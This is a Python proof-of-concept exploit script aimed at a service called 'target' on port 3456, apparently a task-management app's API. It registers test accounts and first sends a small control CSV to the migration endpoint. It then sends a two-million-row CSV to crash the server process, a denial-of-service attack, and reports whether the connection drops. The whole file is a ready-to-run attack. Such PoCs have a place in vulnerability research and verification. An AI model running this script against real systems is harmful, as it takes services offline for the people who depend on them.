#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.request
import uuid


BASE = "http://target:3456"


def json_request(method, path, body=None, token=None, expected=None):
    raw = None if body is None else json.dumps(body).encode()
    headers = {"Accept": "application/json"}
    if body is not None:
        headers["Content-Type"] = "application/json"
    if token:
        headers["Authorization"] = "Bearer " + token
    req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
    try:
        with urllib.request.urlopen(req, timeout=30) as response:
            status, data = response.status, response.read()
    except urllib.error.HTTPError as exc:
        status, data = exc.code, exc.read()
    print(f"{method} {path} -> {status} {data[:250].decode(errors='replace')}", flush=True)
    if expected is not None and status != expected:
        raise RuntimeError(f"{method} {path}: got {status}, expected {expected}")
    return status, json.loads(data.decode()) if data else {}


def wait_ready():
    for _ in range(240):
        try:
            if json_request("GET", "/api/v1/info")[0] == 200:
                return
        except Exception:
            pass
        time.sleep(0.25)
    raise RuntimeError("target did not become ready")


def register_and_login(username):
    password = "PoC-password-123!"
    json_request("POST", "/api/v2/register", {
        "username": username,
        "email": username + "@example.invalid",
        "password": password,
    }, expected=201)
    _, login = json_request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200)
    return login["token"]


def migrate(token, csv_data, config, expect_response):
    boundary = "----PoC-" + uuid.uuid4().hex
    body = (
        f"--{boundary}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n{config}\r\n".encode()
        + f"--{boundary}\r\nContent-Disposition: form-data; name=\"import\"; filename=\"fixture.csv\"\r\nContent-Type: text/csv\r\n\r\n".encode()
        + csv_data
        + f"\r\n--{boundary}--\r\n".encode()
    )
    print(f"PoC_CSV_REQUEST rows={csv_data.count(bytes([10]))} request_bytes={len(body)}", flush=True)
    req = urllib.request.Request(
        BASE + "/api/v2/migration/csv/migrate",
        data=body,
        headers={"Authorization": "Bearer " + token, "Content-Type": "multipart/form-data; boundary=" + boundary},
        method="POST",
    )
    try:
        with urllib.request.urlopen(req, timeout=90) as response:
            status, data = response.status, response.read()
        print(f"POST migrate -> {status} {data[:200]!r}", flush=True)
        if expect_response and status != 200:
            raise RuntimeError(f"control returned {status}, expected 200")
        if not expect_response:
            raise RuntimeError(f"attack unexpectedly returned HTTP {status}")
    except urllib.error.HTTPError as exc:
        data = exc.read()
        print(f"POST migrate -> HTTP {exc.code} {data[:200]!r}", flush=True)
        if expect_response:
            raise
        raise RuntimeError(f"attack was rejected with HTTP {exc.code}; process did not terminate")
    except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:
        if expect_response:
            raise
        print(f"PoC_CSV_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True)


def main():
    wait_ready()
    control_token = register_and_login("PoC-csv-control")
    control_config = json.dumps({"delimiter": ",", "mapping": [{"column_index": 0, "attribute": "title"}]})
    migrate(control_token, b"Title\ncontrol task\n", control_config, True)
    json_request("GET", "/api/v1/info", expected=200)
    print("PoC_CSV_CONTROL=PASS", flush=True)

    attack_token = register_and_login("PoC-csv-attack")
    attack_config = json.dumps({"delimiter": ",", "mapping": [{"column_index": 0, "attribute": "ignore"}]})
    migrate(attack_token, b"x\n" * 2_000_000, attack_config, False)
    print("PoC_CSV_ATTACK_SENT rows=2000000", flush=True)


if __name__ == "__main__":
    try:
        main()
    except Exception as exc:
        print(f"PoC_CSV_CLIENT=FAIL {exc}", file=sys.stderr, flush=True)
        raise